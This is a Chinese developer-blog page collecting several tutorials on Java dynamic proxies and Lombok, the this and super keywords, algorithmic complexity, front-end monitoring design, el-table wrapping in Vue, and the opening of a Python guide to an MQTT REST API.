JDK Proxy 动态代理的实现无需引用第三方类,只需要实现 InvocationHandler 接口,重写 invoke() 方法即可,整个实现代码如下所示:

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

/**
* JDK Proxy 相关示例
*/
public class ProxyExample {
  static interface Car {
      void running();
  }

  static class Bus implements Car {
      @Override
      public void running() {
          System.out.println("The bus is running.");
      }
  }

  static class Taxi implements Car {
      @Override
      public void running() {
          System.out.println("The taxi is running.");
      }
  }

  /**
    * JDK Proxy
    */
  static class JDKProxy implements InvocationHandler {
      private Object target; // 代理对象

      // 获取到代理对象
      public Object getInstance(Object target) {
          this.target = target;
          // 取得代理对象
          return Proxy.newProxyInstance(target.getClass().getClassLoader(),
                  target.getClass().getInterfaces(), this);
      }

      /**
        * 执行代理方法
        * @param proxy 代理对象
        * @param method 代理方法
        * @param args   方法的参数
        * @return
        * @throws InvocationTargetException
        * @throws IllegalAccessException
        */
      @Override
      public Object invoke(Object proxy, Method method, Object[] args)
              throws InvocationTargetException, IllegalAccessException {
          System.out.println("动态代理之前的业务处理.");
          Object result = method.invoke(target, args); // 执行调用方法(此方法执行前后,可以进行相关业务处理)
          return result;
      }
  }

  public static void main(String[] args) {
      // 执行 JDK Proxy
      JDKProxy jdkProxy = new JDKProxy();
      Car carInstance = (Car) jdkProxy.getInstance(new Taxi());
      carInstance.running();
}

以上程序的执行结果是:

动态代理之前的业务处理.
The taxi is running.

可以看出 JDK Proxy 实现动态代理的核心是实现 Invocation 接口,我们查看 Invocation 的源码,会发现里面其实只有一个 invoke() 方法,源码如下:

public interface InvocationHandler {
public Object invoke(Object proxy, Method method, Object[] args)
        throws Throwable;
}

这是因为在动态代理中有一个重要的角色也就是代理器,它用于统一管理被代理的对象,显然 InvocationHandler 就是这个代理器,而 invoke() 方法则是触发代理的执行方法,我们通过实现 Invocation 接口来拥有动态代理的能力。

CGLib 的实现

在使用 CGLib 之前,我们要先在项目中引入 CGLib 框架,在 pom.xml 中添加如下配置:

<!-- https://mvnrepository.com/artifact/cglib/cglib -->
<dependency>
  <groupId>cglib</groupId>
  <artifactId>cglib</artifactId>
  <version>3.3.0</version>
</dependency>

CGLib 实现代码如下:

package com.lagou.interview;

import net.sf.cglib.proxy.Enhancer;
import net.sf.cglib.proxy.MethodInterceptor;
import net.sf.cglib.proxy.MethodProxy;

import java.lang.reflect.Method;

public class CGLibExample {

  static class Car {
      public void running() {
          System.out.println("The car is running.");
      }
  }

  /**
    * CGLib 代理类
    */
  static class CGLibProxy implements MethodInterceptor {
      private Object target; // 代理对象

      public Object getInstance(Object target) {
          this.target = target;
          Enhancer enhancer = new Enhancer();
          // 设置父类为实例类
          enhancer.setSuperclass(this.target.getClass());
          // 回调方法
          enhancer.setCallback(this);
          // 创建代理对象
          return enhancer.create();
      }

      @Override
      public Object intercept(Object o, Method method,
                              Object[] objects, MethodProxy methodProxy) throws Throwable {
          System.out.println("方法调用前业务处理.");
          Object result = methodProxy.invokeSuper(o, objects); // 执行方法调用
          return result;
      }
  }

  // 执行 CGLib 的方法调用
  public static void main(String[] args) {
      // 创建 CGLib 代理类
      CGLibProxy proxy = new CGLibProxy();
      // 初始化代理对象
      Car car = (Car) proxy.getInstance(new Car());
      // 执行方法
      car.running();
}

以上程序的执行结果是:

方法调用前业务处理.
The car is running.

可以看出 CGLib 和 JDK Proxy 的实现代码比较类似,都是通过实现代理器的接口,再调用某一个方法完成动态代理的,唯一不同的是,CGLib 在初始化被代理类时,是通过 Enhancer 对象把代理对象设置为被代理类的子类来实现动态代理的。因此被代理类不能被关键字 final 修饰,如果被 final 修饰,再使用 Enhancer 设置父类时会报错,动态代理的构建会失败。

2.Lombok 原理分析

在开始讲 Lombok 的原理之前,我们先来简单地介绍一下 Lombok,它属于 Java 的一个热门工具类,使用它可以有效的解决代码工程中那些繁琐又重复的代码,如 Setter、Getter、toString、equals 和 hashCode 等等,向这种方法都可以使用 Lombok 注解来完成。

例如,我们使用比较多的 Setter 和 Getter 方法,在没有使用 Lombok 之前,代码是这样的:

public class Person {
  private Integer id;
  private String name;
  public Integer getId() {
      return id;
  }
  public void setId(Integer id) {
      this.id = id;
  }
  public String getName() {
      return name;
  }
  public void setName(String name) {
      this.name = name;
  }
}

在使用 Lombok 之后,代码是这样的:

@Data
public class Person {
  private Integer id;
  private String name;
}

可以看出 Lombok 让代码简单和优雅了很多。

小贴士:如果在项目中使用了 Lombok 的 Getter 和 Setter 注解,那么想要在编码阶段成功调用对象的 set 或 get 方法,我们需要在 IDE 中安装 Lombok 插件才行,比如 Idea 的插件如下图所示:

接下来讲讲 Lombok 的原理。

Lombok 的实现和反射没有任何关系,前面我们说了反射是程序在运行期的一种自省(introspect)能力,而 Lombok 的实现是在编译期就完成了,为什么这么说呢?

回到我们刚才 Setter/Getter 的方法,当我们打开 Person 的编译类就会发现,使用了 Lombok 的 @Data 注解后的源码竟然是这样的:

可以看出 Lombok 是在编译期就为我们生成了对应的字节码。

其实 Lombok 是基于 Java 1.6 实现的 JSR 269: Pluggable Annotation Processing API 来实现的,也就是通过编译期自定义注解处理器来实现的,它的执行步骤如下:

从流程图中可以看出,在编译期阶段,当 Java 源码被抽象成语法树(AST)之后,Lombok 会根据自己的注解处理器动态修改 AST,增加新的代码(节点),在这一切执行之后就生成了最终的字节码(.class)文件,这就是 Lombok 的执行原理。

3.动态代理知识点扩充

当面试官问动态代理的时候,经常会问到它和静态代理的区别?静态代理其实就是事先写好代理类,可以手工编写也可以使用工具生成,但它的缺点是每个业务类都要对应一个代理类,特别不灵活也不方便,于是就有了动态代理。

动态代理的常见使用场景有 RPC 框架的封装、AOP(面向切面编程)的实现、JDBC 的连接等。

Spring 框架中同时使用了两种动态代理 JDK Proxy 和 CGLib,当 Bean 实现了接口时,Spring 就会使用 JDK Proxy,在没有实现接口时就会使用 CGLib,我们也可以在配置中指定强制使用 CGLib,只需要在 Spring 配置中添加 <aop:aspectj-autoproxy proxy-target-/> 即可。

小结

今天我们介绍了 JDK Proxy 和 CGLib 的区别,JDK Proxy 是 Java 语言内置的动态代理,必须要通过实现接口的方式来代理相关的类,而 CGLib 是第三方提供的基于 ASM 的高效动态代理类,它通过实现被代理类的子类来实现动态代理的功能,因此被代理的类不能使用 final 修饰。

除了 JDK Proxy 和 CGLib 之外,我们还讲了 Java 中常用的工具类 Lombok 的实现原理,它其实和反射是没有任何关系的;最后讲了动态代理的使用场景以及 Spring 中动态代理的实现方式,希望本文可以帮助到你。

作者:Java面试真题解析
来源:https://mp.weixin.qq.com/s/UIMeWRerV9FhtEotV8CF9w

收起阅读 »

面试官:this和super有什么区别?this能调用到父类吗?

this 和 super 都是 Java 中常见的关键字,虽然二者在很多情况下都可以被省略,但它们在 Java 中所起的作用是不可磨灭的。它们都是用来起指代作用的,每个类在实例化的时候之所以能调用到 Object 类(Object 类是所有类的父类),全是二者...
继续阅读 »

this 和 super 都是 Java 中常见的关键字,虽然二者在很多情况下都可以被省略,但它们在 Java 中所起的作用是不可磨灭的。它们都是用来起指代作用的,每个类在实例化的时候之所以能调用到 Object 类(Object 类是所有类的父类),全是二者的“功劳”。

1.super 关键字

super 是用来访问父类实例属性和方法的。

1.1 super 方法使用

每个实例类如果没有显示的指定构造方法,那么它会生成一个隐藏的无参构造方法。对于 super() 方法也是类似,如果没有显示指定 super() 方法,那么子类会生成一个隐藏的 super() 方法,用来调用父类的无参构造方法,这就是咱们开篇所说的“每个类在实例化的时候之所以能调用到 Object 类,就是默认 super 方法起作用了”,接下来我们通过实例来验证一下这个说法。

PS:所谓的“显示”,是指在程序中主动的调用,也就是在程序中添加相应的执行代码。

public class SuperExample {
   // 测试方法
   public static void main(String[] args) {
       Son son = new Son();
  }
}

/**
* 父类
*/
class Father {
   public Father() {
       System.out.println("执行父类的构造方法");
  }
}

/**
* 子类
*/
class Son extends Father {
}

在以上代码中,子类 Son 并没有显示指定 super() 方法,我们运行以上程序,执行的结果如下: 从上述的打印结果可以看出,子类 Son 在没有显示指定 super() 方法的情况下,竟然调用了父类的无参构造方法,这样从侧面验证了,如果子类没有显示指定 super() 方法,那么它也会生成一个隐藏的 super() 方法。这一点我们也可以从此类生成的字节码文件中得到证实,如下图所示:

super 方法注意事项

如果显示使用 super() 方法,那么 super() 方法必须放在构造方法的首行,否则编译器会报错,如下代码所示: 如上图看到的那样,如果 super() 方法没有放在首行,那么编译器就会报错:提示 super() 方法必须放到构造方法的首行。 为什么要把 super() 方法放在首行呢? 这是因为,只要将 super() 方法放在首行,那么在实例化子类时才能确保父类已经被先初始化了。

1.2 super 属性使用

使用 super 还可以调用父类的属性,比如以下代码可以通过子类 Son 调用父类中的 age 属性,实现代码如下:

public class SuperExample {
   // 测试方法
   public static void main(String[] args) {
       Son son = new Son();
  }
}

/**
* 父类
*/
class Father {
   // 定义一个 age 属性
   public int age = 30;

   public Father() {
       super();
       System.out.println("执行父类的构造方法");
  }
}

/**
* 子类
*/
class Son extends Father {
   public Son() {
       System.out.println("父类 age:" + super.age);
  }
}

以上程序的执行结果如下图所示,在子类中成功地获取到了父类中的 age 属性:

2.this 关键字

this 是用来访问本类实例属性和方法的,它会先从本类中找,如果本类中找不到则在父类中找。

2.1 this 属性使用

this 最常见的用法是用来赋值本类属性的,比如常见的 setter 方法,如下代码所示: 上述代码中 this.name 表示 Person 类的 name 属性,此处的 this 关键字不能省略,如果省略就相当于给当前的局部变量 name 赋值 name,自己给自己赋值了。我们可以尝试一下,将 this 关键字取消掉,实现代码如下:

class Person {
   private String name;
   public void setName(String name) {
       this.name = name;
  }
   public String getName() {
       return name;
  }
}
public class ThisExample {
   public static void main(String[] args) {
       Person p = new Person();
       p.setName("磊哥");
       System.out.println(p.getName());
  }
}

以上程序的执行结果如下图所示: 从上述结果可以看出,将 this 关键字去掉之后,赋值失败,Person 对象中的 name 属性就为 null 了。

2.2 this 方法使用

我们可以使用 this() 方法来调用本类中的构造方法,具体实现代码如下:

public class ThisExample {
   // 测试方法
   public static void main(String[] args) {
       Son p = new Son("Java");
  }
}

/**
* 父类
*/
class Father {
   public Father() {
       System.out.println("执行父类的构造方法");
  }
}

/**
* 子类
*/
class Son extends Father {
   public Son() {
       System.out.println("子类中的无参构造方法");
  }
   public Son(String name) {
       // 使用 this 调用本类中无参的构造方法
       this();
       System.out.println("子类有参构造方法,name:" + name);
  }
}

以上程序的执行结果如下图所示: 从上述结果中可以看出,通过 this() 方法成功调用到了本类中的无参构造方法。

注意:this() 方法和 super() 方法的使用规则一样,如果显示的调用,只能放在方法的首行。

2.3 this 访问父类方法

接下来,我们尝试使用 this 访问父类方法,具体实现代码如下:

public class ThisExample {
   public static void main(String[] args) {
       Son son = new Son();
       son.sm();
  }
}

/**
* 父类
*/
class Father {
   public void fm() {
       System.out.println("调用了父类中的 fm() 方法");
  }
}

/**
* 子类
*/
class Son extends Father {
   public void sm() {
       System.out.println("调用子类的 sm() 方法访问父类方法");
       // 调用父类中的方法
       this.fm();
  }
}

以上程序的执行结果如下: 从上述结果可以看出,使用 this 是可以访问到父类中的方法的,this 会先从本类中找,如果找不到则会去父类中找。

3.this 和 super 的区别

1.指代的对象不同

super 指代的是父类,是用来访问父类的;而 this 指代的是当前类。

2.查找范围不同

super 只能查找父类,而 this 会先从本类中找,如果找不到则会去父类中找。

3.本类属性赋值不同

this 可以用来为本类的实例属性赋值,而 super 则不能实现此功能。

4.this 可用于 synchronized

因为 this 表示当前对象,所以this 可用于 synchronized(this){....} 加锁,而 super 则不能实现此功能。

总结

this 和 super 都是 Java 中的关键字,都起指代作用,当显示使用它们时,都需要将它们放在方法的首行(否则编译器会报错)。this 表示当前对象,super 用来指代父类对象,它们有四点不同:指代对象、查找访问、本类属性赋值和 synchronized 的使用不同。

作者:Java中文社群
来源:https://juejin.cn/post/7046994591253266440

收起阅读 »

觉得前端不需要懂算法?那来看下这个真实的例子

算法是问题的解决步骤,同一个问题可以有多种解决思路,也就会有多种算法,但是算法之间是有好坏之分的,区分标志就是复杂度。通过复杂度可以估算出耗时/内存占用等性能的好坏,所以我们用复杂度来评价算法。(不了解复杂度可以看这篇:性能分析不一定得用 Profiler,复...
继续阅读 »

算法是问题的解决步骤,同一个问题可以有多种解决思路,也就会有多种算法,但是算法之间是有好坏之分的,区分标志就是复杂度。

通过复杂度可以估算出耗时/内存占用等性能的好坏,所以我们用复杂度来评价算法。

(不了解复杂度可以看这篇:性能分析不一定得用 Profiler,复杂度分析也行

开发的时候,大多数场景下我们用最朴素的思路,也就是复杂度比较高的算法也没啥问题,好像也用不到各种高大上的算法,算法这个东西似乎可学可不学。

其实不是的,那是因为你没有遇到一些数据量大的场景。

下面我给你举一个我之前公司的具体场景的例子:

体现算法威力的例子

这是我前公司高德真实的例子。

我们会做全源码的依赖分析,会有几万个模块,一个模块依赖另一个模块叫做正向依赖,一个模块被另一个模块依赖叫做反向依赖。我们会先分析一遍正向依赖,然后再分析一遍反向依赖。

分析反向依赖的时候,之前的思路是这样的,对于每一个依赖,都遍历一边所有的模块,找到依赖它的模块,这就是它的反向依赖。

这个思路是很朴素的,容易想到的思路,但是这个思路有没有问题呢?

这个算法的复杂度是 O(n^2),如果 n 达到了十几万,那性能会很差的,从复杂度我们就可以估算出来。

事实上也确实是这样,后来我们跑一遍全源码依赖需要用 10 几个小时,甚至一晚上都跑不出来。

如果让你去优化,你会怎么优化性能呢?

有的同学可能会说,能不能拆成多进程/多个工作线程,把依赖分析的任务拆成几部分来做,这样能得到几倍的性能提升。

是,几倍的提升很大了。

但是如果说我们后来做了一个改动,性能直接提升了几万倍你信么?

我们的改动方式是这样的:

之前是在分析反向依赖的时候每一个依赖都要遍历一遍所有的正向依赖。但其实正向依赖反过来不就是反向依赖么?

所以我们直接改成了分析正向依赖的时候同时记录反向依赖。

这样根本就不需要单独分析反向依赖了,算法复杂度从 O(n^2)降到了 O(n)。

O(n^2) 到 O(n) 的变化在有几万个模块的时候,就相当于几万倍的性能提升。

这体现在时间上就是我们之前要跑一个晚上的代码,现在十几分钟就跑完了。这优化力度,你觉得光靠多线程/进程来跑能做到么?

这就是算法的威力,当你想到了一个复杂度更低的算法,那就意味着性能有了大幅的提升。

为什么我们整天说 diff 算法,因为它把 O(n^2) 的朴素算法复杂度降低到了 O(n),这就意味着 dom 节点有几千个的时候,就会有几千倍的性能提升。

所以,感受到算法的威力了么?

总结

多线程、缓存等手段最多提升几倍的性能,而算法的优化是直接提升数量级的性能,当数据量大了以后,就是几千几万倍的性能提升。

那为什么我们平时觉得算法没用呢?那是因为你处理的数据量太小了,处理几百个数据,你用 O(n^2) O(n^3) 和 O(n) 的算法,都差不了多少。

你处理的场景数据量越大,那算法的重要性越高,因为好的算法和差的算法的差别不是几倍几十倍那么简单,可能是几万倍的差别。

所以,你会见到各大公司都在考算法,没用么?不是的,是太过重要了,直接决定着写出的代码的性能。

原文:https://juejin.cn/post/7023024399376711694

收起阅读 »

前端监控系统设计

前言: 创建一个可随意插拔的插件式前端监控系统 一、数据采集 1.异常数据 1.1 静态资源异常 使用window.addEventListener('error',cb) 由于这个方法会捕获到很多error,所以我们要从中筛选出静态资源文件加载错误情况,这里...
继续阅读 »

前言: 创建一个可随意插拔的插件式前端监控系统


一、数据采集


1.异常数据


1.1 静态资源异常


使用window.addEventListener('error',cb)


由于这个方法会捕获到很多error,所以我们要从中筛选出静态资源文件加载错误情况,这里只监控了js、css、img


// 捕获静态资源加载失败错误 js css img
window.addEventListener('error', e => {
const target = e.targetl
if (!target) return
const typeName = e.target.localName;
let sourceUrl = "";
if (typeName === "link") {
sourceUrl = e.target.href;
} else if (typeName === "script" || typeName === "img") {
sourceUrl = e.target.src;
}

if (sourceUrl) {
lazyReportCache({
url: sourceUrl,
type: 'error',
subType: 'resource',
startTime: e.timeStamp,
html: target.outerHTML,
resourceType: target.tagName,
paths: e.path.map(item => item.tagName).filter(Boolean),
pageURL: getPageURL(),
})
}
}, true)


1.2 js错误


通过 window.onerror 获取错误发生时的行、列号,以及错误堆栈


生产环境需要上传打包后生成的map文件,利用source-map 对压缩后的代码文件和行列号得出未压缩前的报错行列数和源码文件


// parseErrorMsg.js
const fs = require('fs');
const path = require('path');
const sourceMap = require('source-map');

export default async function parseErrorMsg(error) {
const mapObj = JSON.parse(getMapFileContent(error.url))
const consumer = await new sourceMap.SourceMapConsumer(mapObj)
// 将 webpack://source-map-demo/./src/index.js 文件中的 ./ 去掉
const sources = mapObj.sources.map(item => format(item))
// 根据压缩后的报错信息得出未压缩前的报错行列数和源码文件
const originalInfo = consumer.originalPositionFor({ line: error.line, column: error.column })
// sourcesContent 中包含了各个文件的未压缩前的源码,根据文件名找出对应的源码
const originalFileContent = mapObj.sourcesContent[sources.indexOf(originalInfo.source)]
return {
file: originalInfo.source,
content: originalFileContent,
line: originalInfo.line,
column: originalInfo.column,
msg: error.msg,
error: error.error
}
}

function format(item) {
return item.replace(/(\.\/)*/g, '')
}

function getMapFileContent(url) {
return fs.readFileSync(path.resolve(__dirname, `./dist/${url.split('/').pop()}.map`), 'utf-8')
}

1.3 自定义异常


通过console.error打印出来的,我们将其认为是自定义错误


使用 window.console.error 上报自定义异常信息


1.4 接口异常



  1. 当状态码异常时,上报异常

  2. 重写 onloadend 方法,当其 response 对象中 code 值不为 '000000' 时上报异常 

  3. 重写 onerror 方法,当网络中断时无法触发 onload(end) 事件,会触发 onerror, 此时上报异常


1.5 监听未处理的promise错误


当Promise 被reject 且没有reject 处理器的时候,就会触发 unhandledrejection 事件


使用 window.addEventListener('unhandledrejection',cb)


2.性能数据


2.1 FP/FCP/LCP/CLS


chrome 开发团队提出了一系列用于检测网页性能的指标:



  • FP(first-paint),从页面加载开始到第一个像素绘制到屏幕上的时间

  • FCP(first-contentful-paint),从页面加载开始到页面内容的任何部分在屏幕上完成渲染的时间

  • LCP(largest-contentful-paint),从页面加载开始到最大文本块或图像元素在屏幕上完成渲染的时间

  • CLS(layout-shift),从页面加载开始和其生命周期状态变为隐藏期间发生的所有意外布局偏移的累积分数




其中,前三个性能指标都可以直接通过 PerformanceObserver (PerformanceObserver 是一个性能监测对象,用于监测性能度量事件 )来获取。而CLS 则需要通过一些计算。


在了解一下计算方式之前,我们先了解一下会话窗口的概念:一个或多个布局偏移间,它们之间有少于1秒的时间间隔,并且第一个和最后一个布局偏移时间间隔上限为5秒,超过5秒的布局偏移将被划分到新的会话窗口。


Chrome 速度指标团队在完成大规模分析后,将所有会话窗口中的偏移累加最大值用来反映页面布局最差的情况(即CLS)。


如下图:会话窗口2只有一个微小的布局偏移,则会话窗口2会被忽略,CLS只计算会话窗口1中布局偏移的总和。


拉低平均值的小布局偏移示例


2.2 DOMContentLoaded事件 和  onload 事件



  • DOMContentLoaded: HTML文档被加载和解析完成。在文档中没有脚本的情况下,浏览器解析完文档便能触发DOMContentLoaded;当文档中有脚本时,脚本会阻塞文档的解析,而脚本需要等位于脚本前面的css加载完才能执行。但是在任何情况下,DOMContentLoaded 都不需要等图片等其他资源的解析。

  • onload: 需要等页面中图片、视频、音频等其他所有资源都加载后才会触发。


为什么我们在开发时强调把css放在头部,js放在尾部?


image.png


首先文件放置顺序决定下载的优先级,而浏览器为了避免样式变化导致页面重排or重绘,会阻塞内容的呈现,等所有css加载并解析完成后才一次性呈现页面内容,在此期间就会出现“白屏”。


而现代浏览器为了优化用户体验,无需等到所有HTML文档都解析完成才开始构建布局渲染树,也就是说浏览器能够渲染不完整的DOM tree和cssom,尽快减少白屏时间。


假设我们把js放在头部,js会阻塞解析dom,导致FP(First Paint)延后,所以我们将js放在尾部,以减少FP的时间,但不会减少 DOMContentLoaded 被触发的时间。


2.3 资源加载耗时及是否命中缓存情况


通过 PerformanceObserver 收集,当浏览器不支持 PerformanceObserver,还可以通过 performance.getEntriesByType(entryType) 来进行降级处理,其中:



  • Navigation Timing 收集了HTML文档的性能指标

  • Resource Timing 收集了文档依赖的资源的性能指标,如:css,js,图片等等


这里不统计以下资源类型:



  • beacon: 用于上报数据,不统计

  • xmlhttprequest:单独统计


我们能够获取到资源对象的如下信息:


image.png


使用performance.now()精确计算程序执行时间:



  • performance.now()  与 Date.now()  不同的是,返回了以微秒(百万分之一秒)为单位的时间,更加精准。并且与 Date.now()  会受系统程序执行阻塞的影响不同,performance.now()  的时间是以恒定速率递增的,不受系统时间的影响(系统时间可被人为或软件调整)。

  • Date.now()  输出的是 UNIX 时间,即距离 1970 的时间,而 performance.now()  输出的是相对于 performance.timing.navigationStart(页面初始化) 的时间。

  • 使用 Date.now()  的差值并非绝对精确,因为计算时间时受系统限制(可能阻塞)。但使用 performance.now()  的差值,并不影响我们计算程序执行的精确时间。


判断该资源是否命中缓存:

在这些资源对象中有一个 transferSize 字段,它表示获取资源的大小,包括响应头字段和响应数据的大小。如果这个值为 0,说明是从缓存中直接读取的(强制缓存)。如果这个值不为 0,但是 encodedBodySize 字段为 0,说明它走的是协商缓存(encodedBodySize 表示请求响应数据 body 的大小)。不符合以上条件的,说明未命中缓存。


2.4 接口请求耗时以及接口调用成败情况


对XMLHttpRequest 原型链上的send 以及open方法进行改写


import { originalOpen, originalSend, originalProto } from '../utils/xhr'
import { lazyReportCache } from '../utils/report'

function overwriteOpenAndSend() {
originalProto.open = function newOpen(...args) {
this.url = args[1]
this.method = args[0]
originalOpen.apply(this, args)
}

originalProto.send = function newSend(...args) {
this.startTime = Date.now()

const onLoadend = () => {
this.endTime = Date.now()
this.duration = this.endTime - this.startTime

const { duration, startTime, endTime, url, method } = this
const { readyState, status, statusText, response, responseUrl, responseText } = this
console.log(this)
const reportData = {
status,
duration,
startTime,
endTime,
url,
method: (method || 'GET').toUpperCase(),
success: status >= 200 && status < 300,
subType: 'xhr',
type: 'performance',
}

lazyReportCache(reportData)

this.removeEventListener('loadend', onLoadend, true)
}

this.addEventListener('loadend', onLoadend, true)
originalSend.apply(this, args)
}
}

export default function xhr() {
overwriteOpenAndSend()
}

二、数据上报


1. 上报方法


采用sendBeacon 和 XMLHttpRequest 相结合的方式


为什么要使用sendBeacon?



统计和诊断代码通常要在 unload 或者 beforeunload (en-US) 事件处理器中发起一个同步 XMLHttpRequest 来发送数据。同步的 XMLHttpRequest 迫使用户代理延迟卸载文档,并使得下一个导航出现的更晚。下一个页面对于这种较差的载入表现无能为力。

navigator.sendBeacon()  方法可用于通过HTTP将少量数据异步传输到Web服务器,同时不会延迟页面的卸载或影响下一导航的载入性能。这就解决了提交分析数据时的所有的问题:数据可靠,传输异步并且不会影响下一页面的加载。



2. 上报时机



  1. 先缓存上报数据,缓存到一定数量后,利用 requestIdleCallback/setTimeout 延时上报。

  2. 在即将离开当前页面(刷新或关闭)时上报 (onBeforeUnload )/ 在页面不可见时上报(onVisibilitychange,判断document.visibilityState/ document.hidden 状态)

作者:spider集控团队
链接:https://juejin.cn/post/7046697922255126558

收起阅读 »

拒绝!封装el-table,请别再用JSON数组来配置列了

阅读本文📖你将:明白通过JSON 来配置el-table的列可能并不是那么美。(作者主观意见)学会一点关于VNode操作的实例。(一点点)辩证地思考一下当我们在团队内对组件进行二次封装时,哪些东西是我们需要取舍的。前言大家好,我是春哥。我热爱&nbs...
继续阅读 »

阅读本文📖

你将:

  1. 明白通过JSON 来配置el-table的列可能并不是那么美。(作者主观意见)
  2. 学会一点关于VNode操作的实例。(一点点)
  3. 辩证地思考一下当我们在团队内对组件进行二次封装时,哪些东西是我们需要取舍的。

前言

大家好,我是春哥
我热爱 vue.js , ElementUI , Element Plus 相关技术栈,我的目标是给大家分享最实用、最有用的知识点,希望大家都可以早早下班,并可以飞速完成工作,淡定摸鱼🐟。

相信使用 vue 的同学大部分都用过 Element 系列框架,并且绝大部分都用过其中的 el-table 组件。并且几乎所有人都会把表格和分页进行一层封装。

不过,很多人在封装时,总是习惯性地把 el-table 官方推荐的 "插槽写法" 改成 "JSON 数组" 写法。

就像这样:

<template>
<my-el-table :columns="columns" :data="tableData">
</my-el-table>
</template>
<script setup>
const columns = [
{
prop: 'date',
label: 'Date',
width: '180'
},
{
prop: 'name',
label: 'Name'
}
]
// ...其他略
</script>

但经过我多年踩坑的惨痛经历,我必须要大声说出那句话:
快住手!有更好的封装技巧

尔康式拒绝

JSON 式封装哪些缺点?

缺点一:学习成本增高

以下两种场景,如果是你今天刚刚入职,你更愿意在业务代码里看到哪种组件呢?

你更愿意使用哪种组件?

我反正是更偏向于 1 和 4
第 1 种意味着它有丰富的社区支持,有准确而清晰的文档和 demo 可以借鉴。
第 4 种意味着你依然可以靠官方文档横行,并且可以使用一些同事根据业务进行的"增强能力"。

那么 2 和 3 呢?
也许我的同事真的可以做出很好的封装,但如果你在小厂、在初创公司、甚至在外包公司,更大的可能是你的同事并不靠谱。
他的某些封装只是为了满足单一的业务场景, 但你为了了解他的功能,却不得不去面对全新的 api,甚至是通过看他的源码才能了解具体有什么 api 和能力。

在这种场景下,我选择面对熟悉的,官方的 api。 

缺点二:自定义内容需要写 h 函数

不会真的有人喜欢在业务里写 h 函数吧?

当简单的 JSON 配置无法满足产品经理那天马行空的想象力时,你可能需要对 el-table-column 里的内容进行更多的自定义。
此时,也许你就会怀念"插槽式"的便捷了。
假设你的产品经理要求你写一个 带色彩的状态列 。 h和插槽

以上两种写法你会选择哪种呢?
而且,当业务变得更加复杂的时候,h 函数写法的可读性是指数式下跌的,你怕不怕?

当然,用JSX写法来简化 h 函数写法是个不错的思路。

JSON 式封装有哪些优点?

优点一:能简化写法?(并不)

有人说:“ JSON 式封装,能够简化代码写法。”
听到这样的话,我的内心其实是充满困惑的:它究竟能简化什么?
写法上的对比

看出来了吗?
这种常见的所谓 封装,只不过是做了做简单形式化的转换:你并没有少写哪怕一个属性,只不过把它们从这里挪到了那里。

甚至于极端场景,你还需要多写代码:

// 从:
<el-table-column show-overflow-tooltip />
// 变成:
{
'show-overflow-tooltip': true
}

优点二:只有 JSON 化才能实现动态列?(并不)

我在《我对 Element 的 Table 做了封装》 里讨论时, JackLiR8 同学提出了一个疑问: 
简化一下就是:

怎样封装才能在保持插槽写法的情况下,实现 动态列呢 ?

其实这个问题并不难,前提是需要你理解 vNode 是什么以及怎么操作它们。

我做了一个简单的例子,核心代码如下:

// vue3 函数式组件写法
const FunctionalTable = (props, context) => {
// 获得插槽里的 vNodes
const vNodes = context.slots.default()
// 过滤 vNodes
const filteredVNodes = props.visibleKeys == null ? vNodes : vNodes.filter(node => props.visibleKeys.includes(node?.props?.prop))
// 把属性透传给el-table
return <el-table {...context.attrs}>
{ filteredVNodes }
</el-table>
}
// vue3 函数式组件定义 props
FunctionalTable.props = {
visibleKeys: {
type: Array,
default: () => null
}
}

这就能实现 动态列 了?
是的。
下面正是使用时的代码:

<template>
<el-button @click="onClick">给我变!</el-button>
<FunctionalTable :data="tableData" :visibleKeys="visibleKeys">
<el-table-column prop="date" label="Date" width="180" />
<el-table-column prop="name" label="Name" />
<el-table-column prop="address" label="Address" />
</FunctionalTable>
</template>
<script setup>
// 其他略
const visibleKeys = ref(['date', 'name'])
const onClick = () => {
visibleKeys.value = ['date', 'name', 'address']
}
// 其他略
// ...

效果如下: 插槽写法的动态列

毫无疑问,当遇到复杂场景,以及列里需要渲染各种奇形怪状的东西如 tagpopover 或者你需要进行更加复杂的定义的时候,插槽写法是更为优秀的。
这是上述demo的源代码 => github源码

优点三:JSON 配置能存数据库?(我劝你慎重)

"如果我把列的 JSON 配置存到数据库里,那我就不用写代码了!"

好家伙,我直呼好家伙!

除非你已经封装了非常成熟的可视化配置方案,否则! 当业务上需要新增一列时,不还是你写?服务端和运维可不会帮你写代码。

只不过你存储代码的地点,从 git 变成了 数据库

碰上懒一点的服务端,你还需要安装数据库链接软件,增加一项写 sql update 语句的活儿。

更让人感到害怕的是,你丢失了对代码版本跟踪的能力。

"为啥生产库/测试库/开发库存的数据不一样,到底应该用谁,我也不知道这字段是哪个版本、因为什么被谁合入的呀...."

那一刻,你可能会无比怀念 git commit-msg 那。

我期望的封装是什么样的?

如果你想设计一款基于"element UI"或"element Plus",能解决一些迫在眉睫的问题,能优化一些写法,能规范一些格式,能让团队小伙伴们乐于使用到组件库。
我想,你可能得充分考虑以下内容:

  • 它的API是否简单易学(甚至大部分就和 element 一模一样 )?
  • 它是否确确实实简化了业务上的写法?
    比如把 表格 和 分页器 合并,比如提供 请求方法 作为 prop 等都是能极大降低业务复杂性的封装。
  • 它是否扩展性强,易维护?api 设计是否和项目保持风格上的一致?
    在同一个项目里,render/jsx/template 混用很可能会让一些新人感到吃力。
  • 它是否是增强和渐进的?
    我可不希望当我试图使用 elementUI 某个特性时,我猛然发现我同事封装的组件居然不支持!

震惊!

免喷声明

以上所有配图和文本都是我的个人观点。

如果你认为它们是错的,那它们就是错的吧。

关于我反对把 Element 表格列 JSON化 最初的初心,我确实厌倦了在不同团队不同公司总是要一遍又一遍去看前同事们蹩脚的封装,去理解他们做了哪些东西,拼写有没有改编,有没有丢失特性,去再学习一遍完全没有学习价值的API

希望大家写代码时,都能获得良好的体验。

封装组件时,都能封装出"能用","好用", "大家愿意用"的组件!


原文:https://juejin.cn/post/7043578962026430471

收起阅读 »

Python服务端快速调用环信MQTT REST接口下发消息

本文介绍Python服务端通过调用环信MQTT REST API接口快速实现消息下发,使用时可参阅REST发送消息接口介绍1. 前提条件1.1 获取服务器信息调用环信MQTT REST API接口前,需要获取四个环信MQTT服务器信息,包括:应用clientI...
继续阅读 »


本文介绍Python服务端通过调用环信MQTT REST API接口快速实现消息下发,使用时可参阅
REST发送消息接口介绍


1. 前提条件

1.1 获取服务器信息
调用环信MQTT REST API接口前,需要获取四个环信MQTT服务器信息,包括:应用clientID应用clientSecretREST API地址及应用ID
